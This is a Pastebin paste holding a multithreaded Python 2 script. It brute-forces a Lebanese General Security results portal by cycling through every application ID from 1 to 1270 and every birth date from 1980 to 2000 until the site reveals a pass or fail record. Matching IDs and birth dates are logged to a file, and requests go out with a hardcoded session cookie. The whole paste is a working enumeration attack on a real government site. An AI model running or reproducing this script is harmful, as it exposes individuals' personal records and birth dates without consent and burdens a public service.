Advertisement
Guest User

for ayman

a guest
Feb 20th, 2017
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.70 KB | None | 0 0
  1. import requests
  2. import threading
  3. import time
  4. import Queue
  5. import signal
  6. import sys
  7. from time import gmtime, strftime
  8.  
  9.  
  10. exitFlag = 0
  11. runningThreads = 0
  12. threadsNumber = range(1,11) #Number of Threads to Run ( Recommended: 10 )
  13. IDs = range(1,1271) #Acceptable IDs from 1 to 1270
  14. queueLock = threading.Lock()
  15. workQueue = Queue.Queue()
  16. threads = []
  17. threadID = 1
  18.  
  19. birthDays = range(1,32)
  20. birthMonths = range(1,13)
  21. birthYears = range(1980,2001)
  22.  
  23. maxCount = len(IDs) * len(birthDays) * len(birthMonths) * len(birthYears)
  24. counter = 0
  25.  
  26. class myThread (threading.Thread):
  27. def __init__(self, threadID, queue):
  28. threading.Thread.__init__(self)
  29. self.threadID = threadID
  30. self.queue = queue
  31. def run(self):
  32. process_data(self.threadID, self.queue)
  33.  
  34. queueLock.acquire()
  35. print "Exiting Thread " + str(self.threadID)
  36. queueLock.release()
  37.  
  38. def process_data(threadID, queue):
  39. global counter
  40. while not exitFlag:
  41. queueLock.acquire()
  42. if not workQueue.empty():
  43. app_id = queue.get()
  44. print "Thread " + str(threadID) + " proccesing App ID: " + str(app_id)
  45. queueLock.release()
  46. lastLen = 0
  47. for year in birthYears:
  48. for month in birthMonths:
  49. for day in birthDays:
  50. url = "http://results.general-security.gov.lb/en/home/checkResults"
  51. payload = {"app_id": str(app_id), "birth_day": str(day),"birth_month": str(month),"birth_year": str(year),"dawra":"14"}
  52. headers = {
  53. 'accept': "*/*",
  54. 'origin': "http://results.general-security.gov.lb",
  55. 'x-requested-with': "XMLHttpRequest",
  56. 'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",
  57. 'content-type': "application/x-www-form-urlencoded",
  58. 'referer': "http://results.general-security.gov.lb/en",
  59. 'accept-encoding': "gzip, deflate",
  60. 'accept-language': "en-US,en;q=0.8,ar;q=0.6,fr;q=0.4",
  61. 'cookie': "ci_cookie=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%223dea85b373318aaa2de1cf2f4848d209%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22178.135.87.52%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F56.0.2924.87+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1486719253%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D264beabcb37152d1956736e728feb4a6",
  62. 'cache-control': "no-cache"
  63. }
  64.  
  65. try:
  66. response = requests.request("POST", url, data=payload, headers=headers)
  67. except:
  68. print "Error in Thread " + str(threadID) + " retrying ..."
  69.  
  70. text = ""
  71.  
  72. if "green" in response.text:
  73. queueLock.acquire()
  74. text += "-----------------------"
  75. text += "PASSED"
  76. text += "| App ID: " + str(app_id)
  77. text += "| Day: " + str(day)
  78. text += "| Month: " + str(month)
  79. text += "| Year: " + str(year)
  80. text += "-----------------------"
  81. print text
  82. with open("Results.txt", "a") as myfile:
  83. myfile.write(text)
  84. myfile.write("\n")
  85. queueLock.release()
  86. break
  87. elif "\"app_info\"" in response.text:
  88. queueLock.acquire()
  89. text += "-----------------------"
  90. text += "| DOD NOT PASS"
  91. text += "| App ID: " + str(app_id)
  92. text += "| Day: " + str(day)
  93. text += "| Month: " + str(month)
  94. text += "| Year: " + str(year)
  95. text += "-----------------------"
  96. print text
  97. with open("Results.txt", "a") as myfile:
  98. myfile.write(text)
  99. myfile.write("\n")
  100. queueLock.release()
  101. break
  102.  
  103. queueLock.acquire()
  104. counter += 1
  105. if(counter % 100 == 0):
  106. print "[" + str(strftime("%H:%M:%S", gmtime())) + "] Completed " + str(counter) + "/" + str(maxCount)
  107.  
  108. if(counter % 50 == 0):
  109. with open("Results.txt", "a") as myfile:
  110. myfile.write('| '.join(['{}: {}'.format(k,v) for k,v in payload.iteritems()]))
  111. myfile.write("\n")
  112. queueLock.release()
  113.  
  114. else:
  115. continue
  116. break
  117. else:
  118. continue
  119. break
  120. if queueLock.locked():
  121. queueLock.release()
  122.  
  123. print "Starting " + str(len(threadsNumber)) + " threads ..."
  124. # Create new threads
  125. for tName in threadsNumber:
  126. thread = myThread(threadID, workQueue)
  127. thread.start()
  128. threads.append(thread)
  129. threadID += 1
  130.  
  131. # Fill the queue
  132. queueLock.acquire()
  133. for ID in IDs:
  134. workQueue.put(ID)
  135.  
  136. queueLock.release()
  137.  
  138. # Wait for queue to empty
  139. while not workQueue.empty():
  140. pass
  141.  
  142. # Notify threads it's time to exit
  143. exitFlag = 1
  144.  
  145. # Wait for all threads to complete
  146. for t in threads:
  147. t.join()
  148. print "Exiting Main Thread"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement